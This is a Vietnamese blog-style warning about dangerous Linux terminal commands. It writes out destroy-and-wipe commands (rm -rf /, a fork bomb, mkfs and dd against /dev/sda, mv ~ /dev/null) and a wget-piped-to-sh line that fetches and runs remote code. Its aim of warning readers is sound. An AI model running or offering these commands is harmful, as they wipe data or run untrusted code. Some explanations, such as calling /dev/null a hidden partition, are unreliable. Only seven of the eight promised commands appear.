Dù bạn là người sử dụng Linux lâu năm hay vừa mới sử dụng thì cũng nên đọc qua bài này. Linux là hệ điều hành mã nguồn mở không giới hạn hay cấm kỵ bất cứ câu lệnh nào. Đồng nghĩa với việc bạn có thể làm mọi thứ trên Linux với giao diện dòng lệnh Terminal.
Terminal là cửa sổ dòng lệnh làm nên tên tuổi của hệ điều hành này. Bạn có thể làm mọi thứ với Terminal từ việc viết code, dò lỗi, hack… Cửa sổ này sẽ giúp bạn thực thi mọi câu lệnh mà bạn muốn. Thậm chí bạn có thể tự tay xoá luôn cả hệ điều hành Linux chỉ với vài lệnh được gõ vào Terminal.
Terminal – mạnh mẽ nhưng nguy hiểm
Terminal sẽ nhanh chóng thực thi câu lệnh của bạn ngay sau khi ấn Enter mà không cần xác nhận gì. Điều đó làm nó trở nên mạnh mẽ và cũng nguy hiểm không lường. Hãy thử tưởng tượng nếu một câu lệnh có khả năng gây hại cho máy bạn được gõ vào và chạy trên Terminal?
Hậu quả là không thể lường trước được, bởi vì Terminal chỉ nhận lệnh và chạy. Nó không cần biết câu lệnh đó có gây hại cho chủ nhân nó hay là không? Nếu bạn sử dụng Linux bạn cần biết 8 câu lệnh sau đây để tránh trường hợp tự làm hại chính mình nhé !!
8 câu lệnh cấm kỵ trên Linux
Câu lệnh xoá mọi thứ (kể cả hệ điều hành)
Nếu bạn gõ vào Terminal lệnh rm -rf /
sẽ đồng nghĩa với việc xoá tất cả mọi thứ hiện tại trên máy tính. Câu lệnh này sẽ được hiểu như sau:
rm
là từ khoá đại diện cho hành động cần xoá một thứ gì đó.-rf
là cụm từ ám chỉ câu lệnh rm ở trên chạy và xoá sạch các File và Folders bên trong nơi được chỉ định./
Nếu bạn không ghi gì sau dấu / thì Linux sẽ hiểu là bắt đầu chọn từ gốc (đồng nghĩa với mọi thứ).
Do đó khi bạn chạy câu lệnh này thì Linux sẽ bắt đầu xoá tất cả các file được chỉ định từ ngoài vào trong. Ổ cứng của bạn sẽ bị dọn sạch sẽ (bao gồm luôn các file hệ thống).
Fork Bomb
Câu lệnh này tuy trông hài hước, vô hại nhưng cực kỳ nguy hiểm nếu bạn không biết.
:(){ :|: & };:
Khi lệnh này được thực thi nó sẽ tự gọi lại hàm shell để tự tạo lại chính nó. Đây giống như một con virus tự copy chính nó và sinh sản ra thêm nhiều con khác. RAM và CPU máy tính của bạn sẽ bị quá tải và gây treo máy. Đây là nền tảng cơ bản mô phỏng cho một cuộc tấn công DDoS.
Định dạng lại ổ đĩa cứng
Câu lệnh này cũng đơn giản và nguy hiểm không kém, và nó cũng rất dễ hiểu.
mkfs.ext4 /dev/sda1
Lệnh này sẽ được hiểu như sau:
mkfs.ext4
sẽ tạo ra một file hệ thống dạng ext4 mới trên thiết bị của bạn./dev/sda1
– Lệnh này chỉ định phân vùng đầu tiên (phân vùng chính) trên ổ đĩa của bạn.
Khi chạy lệnh, nó sẽ xoá hết dữ liệu trong phân vùng đầu tiên của ổ đĩa và thế vào đó một file định dạng phân vùng mới. Tuy nhiên, câu lệnh này cũng có thể được tuỳ biến lại thành mkfs.ext3 /dev/sdb2
để định dạng phân vùng thứ 2 trong ổ đĩa. Việc định dạng này sẽ làm ổ đĩa mất toàn bộ dữ liệu và không thể phục hồi.
Ghi trực tiếp vào ổ đĩa cứng
Câu lệnh này cũng hoạt động gần giống câu lệnh ở trên. Nó sẽ gửi dữ liệu đầu ra đến phân vùng đầu tiên của ổ cứng và ghi đè lên đó. Điều này sẽ làm hỏng các File hệ thống của bạn, có thể làm hỏng luôn cả hệ điều hành nên hãy cẩn thận.
command > /dev/sda
Câu lệnh này sẽ được hiểu như sau:
command
– một lệnh bất kì>
Gửi dữ liệu đầu ra đến môt nơi được chỉ định./dev/sda
Ghi đè dữ liệu đầu ra lên ổ đĩa cứng.
Xả rác vào ổ đĩa cứng
Khi chạy lệnh dd if=/dev/random of=/dev/sda
sẽ khiến dữ liệu trong ổ đĩa cứng của bạn bị phân tán. Điều này sẽ dẫn đến nhiều File rác. Câu lệnh này được hiểu như sau:
dd
– Copy dữ liệu dữ liệu từ nơi này sang nơi khácif=/dev/random
– Tạo ngẫu nhiên dữ liệu đầu ra. Bạn cũng sẽ thấy một số phân vùng khác được tạo ra như /dev/zero…of=/dev/sda
– Ghi dữ liệu vào phân vùng đầu tiên của ổ đĩa và ghi đè các file được chỉ định ngẫu nhiên.
Chuyển User vào hố đen
Phân vùng /dev/null
là một phân vùng đặc biệt tồn tại ẩn và không thể tìm thấy (giống như hố đen). Di chuyển bất cứ File nào vào đó, cũng đồng nghĩa việc xoá vĩnh viễn file đó.
mv ~ /dev/null
mv
– di chuyển tệp hoặc thư mục đến một phân vùng khác.~
– Đại diện cho toàn bộ phân vùng Home của hệ thống/dev/null
– Giống như hố đen mình nói ở trên, di chuyển thư mục vào đây đồng nghĩa với việc tự huỷ nó.
Download và chạy Script từ web
Câu lệnh này sẽ truy cập tới một trang web. Nếu trang web đó chứa một đoạn Script mà Linux có thể hiểu thì nó sẽ chạy đoạn Script đó. Đây cũng là cách người khác có thể tấn công và phá huỷ hệ điều hành Linux của bạn trong tích tắc.
wget http://example.com/... -O – | sh
wget <url> -O
– Download một file từ địa chỉ web và output ra-O
http://example.com/...
– Trang web chứa đoạn script|
– Lệnh đường ống dẫn đếnsh
– Chạy lệnh trên shell